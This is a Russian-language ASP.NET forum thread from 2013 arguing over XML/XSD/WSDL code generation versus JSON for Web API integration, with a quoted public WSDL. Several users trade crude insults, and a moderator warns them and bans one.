Сообщения: 4 069

Рейтинг: 0 / 0

МСУSeVa1. Для меня загадка - какое ты имеешь отношение к ИТ. 3.5К говнокода в одном классе - это сильно. У тебя большая, усидчивая задница.
2.Твои тупые партизаны в лесу еще не поняли, что одно дело это генерация прокси, а совсем другое - формат передачи данных, который может быть любой
1. Для меня загадка, твой кухарский опыт не выдерживает никакой критики. На лицо не только незнание и безопытность, а так же и полная деградация. В аттаче схема xsd от внешних поставщиков на 0.5К строк, очень замороченный и специфичный пакет xml для интеграции получается. Размер порядка 10-15М. По такому xsd получается *.cs класс на 3.5К кода, который я демонстрировал в предыдущих постах. JSON тут курит в сторонке в принципе, т.к. писать прокси класс руками - проще убить себя об стену.
2. А твои тупые извилины еще не поняли, что генерация прокси зависит от схемы, которую JSON не поддерживает? Писать классы на каждый чих и поддерживать их при модификации схемы обмена - ад. В случае кодогенерации я нажал перегенерировать класс и получил новую обменную версию, не заморачиваясь на том, что именно и как изменилось. Последующий ребилд класса покажет ошибки, если они есть. Я автоматом получаю класс и сосредоточен на прикладной задаче, а не на ковырянии в файлах.

Муслима, я наконец-то понял твой бред, ты как всегда не в ладах с терминологией и перепутала теплое с мягким. прокси-класс - это совсем другое.
Я очень рад твоему прогрессу, помнится, совсем недавно ты с умным видом "вещала", что xml парсить нужно
только вручную , и глупо хихикала относительно xsd.exe, тупо решив, что ее нужно запускать в самих wcf сервисах. В очередной раз продемонстрировала, что ничего не понимаешь в том, что тебе говорят.
Тогда ты подобным никогда не занималась, а когда довелось повстречаться даже с таким примитивом(ты еще не работала с внешними сервисами, где такого добра под несколько сотен классов), сразу о ней вспомнила.
Надеюсь, что через пару лет твоя всосешь, что xml/json - форматы передачи, есть сериализаторы, которые делают все на автомате, и в том и другом случае можно работать с типизированными классами. Именно так и происходит в web api.

...

Рейтинг:

0 / 0

04.06.2013, 13:03

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38285064

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

hVosttМСУ, применительно к ФИАС десериализация через xsd не упала нафиг, ибо гигабайты данных (от 1 до 8) пихать в память это расточительство, медленно, ненужно, профита никакого нет, один гемор. перенос данных SAX-ом в базу гигабайтных XML занимает минуту, десериализацией — запаришься ждать.
Вообще-то на гигабайтах данных спасает только XmlReader, а не десериализация. Ибо получишь ошибку переполнения памяти.
Во-вторых, я показывал сложный XML размеров подярка 10Мб, который должен обработаться полностью. Никаких гигабайтов.

hVosttкроме того, те классы, что генерятся, отстой и неюзабельно. половина ненужного совершенно оверхеда. типизация на уровне яселек, как будто писали программеры, впервый раз дорвавшиеся до компьютера, до этого жившие в деревне в обнимку с медведями.
Те классы, которые генерятся, "юзабельностью" не должны обладать. Их менять не рекомендуется, даже кодогенератор об этом пишем в комментариях. Типизация на уровне .NET фреймворка, как и полагается. Оверхеда (или что ты там им называешь) никакого нет, есть четкая кодогенерация по спецификации схемы. Тем не менее, что есть - то есть. В случае с JSON всё это придется писать руками и вешать себе на шею дополнительный груз. Мне такого сачстья не нужно.

hVosttна счет SOA и WSDL — выбор этих технологий для использования по собственной воле — это надо быть долбанутым на всю башню, либо накуриться веника, запив ведром дешевого портвейна. одно дело необходимость в интеграции с существующим говном, другое — писать, что это типа крутые вещи «для своих задач» — полное отсутствие понимание сути + идеотизм помноженный на 2.
Ну, значит, весь мир в разрезе SOA интеграции "долбанутый на всю башню". Когда псих кричит людям, что они психи - это наводит на подозрения.

...

Рейтинг:

0 / 0

04.06.2013, 13:07

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38285090

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

SeVaМуслима, я наконец-то понял твой бред, ты как всегда не в ладах с терминологией и перепутала теплое с мягким. прокси-класс - это совсем другое.
Долбосёв, ты как всегда очень долго тугодумил и опять промахнулся. Ситуация намного шире, чем прокси WCF службы.
Опять у тебя проблемы на шаблонном уровне, двоешник. Просвещайся вот тут:
http://ru.wikipedia.org/wiki/Proxy_(шаблон_проектирования) Шаблон Proxy (определяет объект-заместитель англ. surrogate иначе -заменитель англ. placeholder) — шаблон проектирования, который предоставляет объект, который контролирует доступ к другому объекту, перехватывая все вызовы (выполняет функцию контейнера).

SeVaЯ очень рад твоему прогрессу, помнится, совсем недавно ты с умным видом "вещала", что xml парсить нужно
только вручную , и глупо хихикала относительно xsd.exe, тупо решив, что ее нужно запускать в самих wcf сервисах. В очередной раз продемонстрировала, что ничего не понимаешь в том, что тебе говорят.
Глупая непрогрессирующая кухарка опять перепутала сапоги. Речь шла о неиспользовании датасетов, а как и где ты используешь честный класс - другой вопрос. В очередной раз ты захлебываешься в своих же фекалиях.

SeVaТогда ты подобным никогда не занималась, а когда довелось повстречаться даже с таким примитивом(ты еще не работала с внешними сервисами, где такого добра под несколько сотен классов), сразу о ней вспомнила.
Точно так же, как кухарка не работала с Web API, контроллерами, и WCF? Я готов тебя разочаровать, твой уровень ниже принтуса, как бы ты не пыталась проявить себя выскочкой.

SeVaНадеюсь, что через пару лет твоя всосешь, что xml/json - форматы передачи, есть сериализаторы, которые делают все на автомате, и в том и другом случае можно работать с типизированными классами. Именно так и происходит в web api.
Глупенький, речь не о сериализаторах, а в предоставленной схеме данных. О чем и спич. Более того, есть еще и трансформация в xml, чего у JSON отсутствует в принципе. Иди носки вяжи, а не про Web API верещи.

...

Рейтинг:

0 / 0

04.06.2013, 13:14

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38285125

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

Муслима, нагадила себе на голову и испортила воздух, а теперь пытается сделать вид,что это не она.
авторПо оценке трудозатрат. Ну 30 минут - это конечно байки бабушки, но:

1. Изучить структуру источника / приемника
2. Написать интеграционные классы, лучше сериализация-десериализация (никаких мля датасетов!)
3. Написать конвертер в xml
4. Тестирование (не тестеровщик)
5. Риски (умножаем сроки на 2)

Получаем смело рабочий день говнокодера. То есть ка-бы не загоняем в угол ни себя, не ущимляем заказчика.
В идеале нужна функциональная спецификация, в которой черным по белому будет расписана логика.

Dangreon
При наличии большого XML файла рискуете получить ошибку "OutOfMemoryExeption" (при использовании DataSet)

Транспортировать "многобукав" в xml - утопия, он для этого не предназначен.

День вместо пяти минут, зарабатываешь задницей,а не головой.

...

Рейтинг:

0 / 0

04.06.2013, 13:26

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38285130

ShSerge

Участник

Откуда: ʚонɔ dиw

Сообщения: 24 440

Рейтинг: 0 / 0

Модератор: МСУ и SeVa, если не прекратите, обоих забаню на время, пока кто-нибудь из модераторов/администраторов не разбанит.

...

Рейтинг:

0 / 0

04.06.2013, 13:29

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286060

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

МСУТе классы, которые генерятся, "юзабельностью" не должны обладать. Их менять не рекомендуется, даже кодогенератор об этом пишем в комментариях. Типизация на уровне .NET фреймворка, как и полагается. Оверхеда (или что ты там им называешь) никакого нет, есть четкая кодогенерация по спецификации схемы. Тем не менее, что есть - то есть. В случае с JSON всё это придется писать руками и вешать себе на шею дополнительный груз. Мне такого сачстья не нужно.

У меня складывается стойкое ощущение, что ты либо намеренно тупишь (зачем-то), либо только вчера родился:

http://json-schema.org/ — да и на основе голого Json можно сгенерировать схему самому, прямыми руками-то.

И не морочь, пожалуйста, больше голову.

Круче JSON на сегодняший день пока ничё не придумали. Простой как 2 пальца, полностью покрывает абсолютно все задачи, решаемые до этого XML, но без лишнего оверхеда и головняка. Всего 3 сущности: имя, значение, коллекция. Это все что требуется для универсальной передачи данных.

Работа с XML уместна только при необходимости (внешние данные, внешние сервисы и т.д.)

Пожалуй, нужен пример:

Код: xml

1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.

<wsdl:definitions xmlns:s="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/" xmlns:mime="http://schemas.xmlsoap.org/wsdl/mime/" xmlns:tns="http://fias.nalog.ru/WebServices/Public/DownloadService.asmx/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/" xmlns:http="http://schemas.xmlsoap.org/wsdl/http/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" targetNamespace="http://fias.nalog.ru/WebServices/Public/DownloadService.asmx/">
<wsdl:documentation xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">Служба получения обновлений</wsdl:documentation>
<wsdl:types>
<s:schema elementFormDefault="qualified" targetNamespace="http://fias.nalog.ru/WebServices/Public/DownloadService.asmx/">
<s:element name="GetLastDownloadFileInfo">
<s:complexType/>
</s:element>
<s:element name="GetLastDownloadFileInfoResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="GetLastDownloadFileInfoResult" type="tns:DownloadFileInfo"/>
</s:sequence>
</s:complexType>
</s:element>
<s:complexType name="DownloadFileInfo">
<s:sequence>
<s:element minOccurs="1" maxOccurs="1" name="VersionId" type="s:int"/>
<s:element minOccurs="0" maxOccurs="1" name="TextVersion" type="s:string"/>
<s:element minOccurs="0" maxOccurs="1" name="FiasCompleteDbfUrl" type="s:string"/>
<s:element minOccurs="0" maxOccurs="1" name="FiasCompleteXmlUrl" type="s:string"/>
<s:element minOccurs="0" maxOccurs="1" name="FiasDeltaDbfUrl" type="s:string"/>
<s:element minOccurs="0" maxOccurs="1" name="FiasDeltaXmlUrl" type="s:string"/>
<s:element minOccurs="0" maxOccurs="1" name="Kladr4ArjUrl" type="s:string"/>
<s:element minOccurs="0" maxOccurs="1" name="Kladr47ZUrl" type="s:string"/>
</s:sequence>
</s:complexType>
<s:element name="GetAllDownloadFileInfo">
<s:complexType/>
</s:element>
<s:element name="GetAllDownloadFileInfoResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="GetAllDownloadFileInfoResult" type="tns:ArrayOfDownloadFileInfo"/>
</s:sequence>
</s:complexType>
</s:element>
<s:complexType name="ArrayOfDownloadFileInfo">
<s:sequence>
<s:element minOccurs="0" maxOccurs="unbounded" name="DownloadFileInfo" nillable="true" type="tns:DownloadFileInfo"/>
</s:sequence>
</s:complexType>
</s:schema>
</wsdl:types>
<wsdl:message name="GetLastDownloadFileInfoSoapIn">
<wsdl:part name="parameters" element="tns:GetLastDownloadFileInfo"/>
</wsdl:message>
<wsdl:message name="GetLastDownloadFileInfoSoapOut">
<wsdl:part name="parameters" element="tns:GetLastDownloadFileInfoResponse"/>
</wsdl:message>
<wsdl:message name="GetAllDownloadFileInfoSoapIn">
<wsdl:part name="parameters" element="tns:GetAllDownloadFileInfo"/>
</wsdl:message>
<wsdl:message name="GetAllDownloadFileInfoSoapOut">
<wsdl:part name="parameters" element="tns:GetAllDownloadFileInfoResponse"/>
</wsdl:message>
<wsdl:portType name="DownloadServiceSoap">
<wsdl:operation name="GetLastDownloadFileInfo">
<wsdl:documentation xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">
Возвращает информацию о последней версии файлов, доступных для скачивания
</wsdl:documentation>
<wsdl:input message="tns:GetLastDownloadFileInfoSoapIn"/>
<wsdl:output message="tns:GetLastDownloadFileInfoSoapOut"/>
</wsdl:operation>
<wsdl:operation name="GetAllDownloadFileInfo">
<wsdl:documentation xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">
Возвращает информацию о всех версиях файлов, доступных для скачивания
</wsdl:documentation>
<wsdl:input message="tns:GetAllDownloadFileInfoSoapIn"/>
<wsdl:output message="tns:GetAllDownloadFileInfoSoapOut"/>
</wsdl:operation>
</wsdl:portType>
<wsdl:binding name="DownloadServiceSoap" type="tns:DownloadServiceSoap">
<soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
<wsdl:operation name="GetLastDownloadFileInfo">
<soap:operation soapAction="http://fias.nalog.ru/WebServices/Public/DownloadService.asmx/GetLastDownloadFileInfo" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="GetAllDownloadFileInfo">
<soap:operation soapAction="http://fias.nalog.ru/WebServices/Public/DownloadService.asmx/GetAllDownloadFileInfo" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
<wsdl:binding name="DownloadServiceSoap12" type="tns:DownloadServiceSoap">
<soap12:binding transport="http://schemas.xmlsoap.org/soap/http"/>
<wsdl:operation name="GetLastDownloadFileInfo">
<soap12:operation soapAction="http://fias.nalog.ru/WebServices/Public/DownloadService.asmx/GetLastDownloadFileInfo" style="document"/>
<wsdl:input>
<soap12:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap12:body use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="GetAllDownloadFileInfo">
<soap12:operation soapAction="http://fias.nalog.ru/WebServices/Public/DownloadService.asmx/GetAllDownloadFileInfo" style="document"/>
<wsdl:input>
<soap12:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap12:body use="literal"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
<wsdl:service name="DownloadService">
<wsdl:documentation xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">Служба получения обновлений</wsdl:documentation>
<wsdl:port name="DownloadServiceSoap" binding="tns:DownloadServiceSoap">
<soap:address location="http://fias.nalog.ru/WebServices/Public/DownloadService.asmx"/>
</wsdl:port>
<wsdl:port name="DownloadServiceSoap12" binding="tns:DownloadServiceSoap12">
<soap12:address location="http://fias.nalog.ru/WebServices/Public/DownloadService.asmx"/>
</wsdl:port>
</wsdl:service>
</wsdl:definitions>

.. в общем, — всё ради того, чтобы какое-нибудь дитё типа МСУ, смогло (ой божешь ты мой...) сгененировать (!!) код для вызова двух (!!) функций.

и в итоге, чтобы этим воспользоваться на рельсах, PHP или каком-нибудь экзотическом эрланге придётся изрядно помудохаться, извергая ряд узконаправленных проклятий по известному адресу.

надо быть только неповоротливой тупой гос. структурой, чтобы позволить себе такое кощунство. это ж не просто бестолковый оверхед, с нафиг никому не упавшими «биндингами», это уродство, омерзительно и попросту некрасиво.

...

Рейтинг:

0 / 0

05.06.2013, 03:13

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286066

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

Про разницу между Json.NET и встроенным Json сериализатором в .NET читаем:

http://james.newtonking.com/projects/json/help/html/JsonNetVsDotNetSerializers.htm

Валидация и схемы:

Генерим схему из JSON тут: http://www.jsonschema.net/

Используем как? Вот так:

http://james.newtonking.com/projects/json/help/html/JsonSchema.htm

Ах да, генерация классов... Прокол. Поискал json-schema.exe на компе, не нашёл. Вот чертовщина.
Руки еще в детстве оторвали, и мозг конкретно повредили.
Если нет готового инструмента типа exe, пиши пропало.
Да и на гитхаб доступ черти закрыли...

...

Рейтинг:

0 / 0

05.06.2013, 03:27

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286074

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

Ешо, вброс на тему:

http://stackoverflow.com/questions/3538131/is-there-a-wsdl-like-mechanism-for-json

wsdl в топку и сжечь. доставать, когда запахло тухлым — интеграцией с чужим унылым г.

...

Рейтинг:

0 / 0

05.06.2013, 03:42

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286115

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

[quot МСУ]Опять у тебя проблемы на шаблонном уровне, двоешник. Просвещайся вот тут:
http://ru.wikipedia.org/wiki/Proxy_(шаблон_проектирования) Шаблон Proxy (определяет объект-заместитель англ. surrogate иначе -заменитель англ. placeholder) — шаблон проектирования, который предоставляет объект, который контролирует доступ к другому объекту, перехватывая все вызовы (выполняет функцию контейнера).
У начинающих, которые начитались умных статеек из русской вики всегда бессистемная каша. Proxy - объект через, который клиент взаимодействует с сервисом.И никакой он не контейнер как сказано в русской говновики(я тебе мульен раз говорил, что это бяка и не нужно ее брать в рот)
Это dto, Муслима, просвещайся.

...

Рейтинг:

0 / 0

05.06.2013, 06:46

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286116

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

...

Рейтинг:

0 / 0

05.06.2013, 06:47

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286117

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

...

Рейтинг:

0 / 0

05.06.2013, 06:47

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286118

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

...

Рейтинг:

0 / 0

05.06.2013, 06:47

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286133

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

hVosttПро разницу между Json.NET и встроенным Json сериализатором в .NET читаем:

http://james.newtonking.com/projects/json/help/html/JsonNetVsDotNetSerializers.htm

Валидация и схемы:

Генерим схему из JSON тут: http://www.jsonschema.net/

Используем как? Вот так:

http://james.newtonking.com/projects/json/help/html/JsonSchema.htm

Ах да, генерация классов... Прокол. Поискал json-schema.exe на компе, не нашёл. Вот чертовщина.
Руки еще в детстве оторвали, и мозг конкретно повредили.
Если нет готового инструмента типа exe, пиши пропало.
Да и на гитхаб доступ черти закрыли...

Если необходимо, то web api может возвращать в одном из методов xsd схему, по которой генерятся нужные классы.

...

Рейтинг:

0 / 0

05.06.2013, 07:17

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286252

Акмаль

Гость

Ребяты, помогите пожалуйста! Нужна хорошая литература или другие источники по web API. С примерами для быстрого освоения.
На русском. Я пока смутно представляю, что это такое вообще. Так что нужно с нуля...
Посоветуйте что-нибудь.

Заранее спасибо!

...

Рейтинг:

0 / 0

05.06.2013, 09:57

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286262

Antonariy

Участник

Откуда: ☭

Сообщения: 80 221

Рейтинг: 0 / 0

Акмаль С примерами для быстрого освоения. тынц

...

Рейтинг:

0 / 0

05.06.2013, 10:08

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286312

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

hVosttУ меня складывается стойкое ощущение, что ты либо намеренно тупишь (зачем-то), либо только вчера родился:
http://json-schema.org/ — да и на основе голого Json можно сгенерировать схему самому, прямыми руками-то.
И не морочь, пожалуйста, больше голову.
У меня складывается ощущение, что ты находишься где-то за пределами атмосферы и намерянно прикидываешься инопланетянином. Это всё наколенные договорённости, а не специфицированный стандарт, по которому любые системы на любых языках могут работать. У меня в обмене учавствуют n систем: 1С, Аксапта, САП, Java, .NET, MS CRM, Documentum и прочие. Ты предлагаешь для всех систем писать свои наколенные обертки с вызовами сервисов? А дети-то не знают, что у вменяемых систем есть свои штатные кодогенараторы и построители классов по схеме, которая специфицирована единым стандартом. Например, в том же 1С есть механизм "WS ссылка", по которой система сама строит необходимые нативные классы и шлюз. Никакого кодирования, нажал кнопку и всё готово - можно дергать сервис. Акстись, студент, твой JSON никому не нужен для серьезной интеграции.

hVosttКруче JSON на сегодняший день пока ничё не придумали. Простой как 2 пальца, полностью покрывает абсолютно все задачи, решаемые до этого XML, но без лишнего оверхеда и головняка. Всего 3 сущности: имя, значение, коллекция. Это все что требуется для универсальной передачи данных.
Кручу бывают только яйца, а у JSON есть своя узкая специализация. Не более того. Пихать куда ни попадя JSON - маразм чистой воды.

hVostt.. в общем, — всё ради того, чтобы какое-нибудь дитё типа МСУ, смогло (ой божешь ты мой...) сгененировать (!!) код для вызова двух (!!) функций.
Да, это сделано именно для "детей", которые не хотят писать гавнокод. У детей таких сотни таких методов и вызовов, пытаться поддерживать этот зоопарк в ручном режиме может только идиот, у которая напрочь снесло голову.

...

Рейтинг:

0 / 0

05.06.2013, 10:39

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286317

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

hVosttПро разницу между Json.NET и встроенным Json сериализатором в .NET читаем:

http://james.newtonking.com/projects/json/help/html/JsonNetVsDotNetSerializers.htm

Валидация и схемы:

Генерим схему из JSON тут: http://www.jsonschema.net/

Используем как? Вот так:

http://james.newtonking.com/projects/json/help/html/JsonSchema.htm

Ах да, генерация классов... Прокол. Поискал json-schema.exe на компе, не нашёл. Вот чертовщина.
Руки еще в детстве оторвали, и мозг конкретно повредили.
Если нет готового инструмента типа exe, пиши пропало.
Да и на гитхаб доступ черти закрыли...
Иди предложи это наколенщину явистам, 1Сникам, аксаптоводам и саповцам. Тебя выбросят в мусоропровод с такими предложениями.

...

Рейтинг:

0 / 0

05.06.2013, 10:40

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286318

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

SeVaУ начинающих, которые начитались умных статеек из русской вики всегда бессистемная каша. Proxy - объект через, который клиент взаимодействует с сервисом.И никакой он не контейнер как сказано в русской говновики(я тебе мульен раз говорил, что это бяка и не нужно ее брать в рот)
Это dto, Муслима, просвещайся.
Научись цитировать сначала, долблсева, а потом начинай излагать мысли. Proxy классу никто не запрещает быть DTO, сходи лучше в школу.

...

Рейтинг:

0 / 0

05.06.2013, 10:42

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286350

ShSerge

Участник

Откуда: ʚонɔ dиw

Сообщения: 24 440

Рейтинг: 0 / 0

SeVa и МСУ.
Я же вас предупреждал.
Короче Модератор: Весьма строгое предупреждение!
Если Вы продолжите между собой сраться, то забаню обоих, и на МФ поставлю вопрос о вечном бане.

...

Рейтинг:

0 / 0

05.06.2013, 10:55

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286364

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

МСУ Proxy классу никто не запрещает быть DTO, сходи лучше в школу.

Полный аут!!! Теперь понятно, почему ты сам себе плюсы раздаешь. У МСУ прокси, а у coolговнокодера - DTO

...

Рейтинг:

0 / 0

05.06.2013, 11:03

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286366

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

ShSergeSeVa и МСУ.
Я же вас предупреждал.
Короче Модератор: Весьма строгое предупреждение!
Если Вы продолжите между собой сраться, то забаню обоих, и на МФ поставлю вопрос о вечном бане.
Могу поспорить, всех клонов мсу не забанишь. Ему в подвале не с кем поговорить

...

Рейтинг:

0 / 0

05.06.2013, 11:05

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286379

skyANA

Участник

Откуда: Зеленоград

Сообщения: 22 795

Рейтинг: 0 / 0

ShSergeSeVa и МСУ.
Я же вас предупреждал.
Короче Модератор: Весьма строгое предупреждение!
Если Вы продолжите между собой сраться, то забаню обоих, и на МФ поставлю вопрос о вечном бане.+1
И почисти пожалуйста топик от флейма.

...

Рейтинг:

0 / 0

05.06.2013, 11:10

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286405

ShSerge

Участник

Откуда: ʚонɔ dиw

Сообщения: 24 440

Рейтинг: 0 / 0

SeVaМогу поспорить, всех клонов мсу не забанишь...
Я и не собираюсь банить клонов, если они ничего не нарушают. Здесь же банится ник, а не человек приговаривается к смертной казни.

...

Рейтинг:

0 / 0

05.06.2013, 11:24

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286412

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

DTO - класс обертка без логики. Шаблон Proxy - выполняет функция контейнера. В терминологии SOA это синонимы.

...

Рейтинг:

0 / 0

05.06.2013, 11:27

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286465

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

МСУDTO - класс обертка без логики. Шаблон Proxy - выполняет функция контейнера. В терминологии SOA это синонимы.
Сколько раз я тебе говорил, что учи английский, да не читай бред в русской говновики, который пишут такие же как ты умники.
Это только у тебя это синонимы и контейнер, которым даже не пахнет

...

Рейтинг:

0 / 0

05.06.2013, 11:52

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38286525

ShSerge

Участник

Откуда: ʚонɔ dиw

Сообщения: 24 440

Рейтинг: 0 / 0

SeVa,

Модератор: Не обращайся к МСУ лично, к сабжу и к предмету спора это никакого отношения не имеет.
Бан на 1 день

...

Рейтинг:

0 / 0

05.06.2013, 12:23

| Ответить | Цитировать | Написать

121 сообщений из 121, показаны все 5 страниц

все

Форумы / ASP.NET [игнор отключен] [закрыт для гостей] / webApi кто заюзал в реальных проектах?

Читали тему (0):

Читали форум (0):

Пользователи онлайн (0):

start [/forum/topic.php?all=1&fid=18&tid=1358374]:	0ms
get settings:	4ms
get forum list:	8ms
check forum access:	2ms
check topic access:	2ms
track hit:	42ms
get topic data:	6ms
get forum data:	2ms
get page messages:	76ms
get tp. blocked users:	1ms
others:	216ms

total:	359ms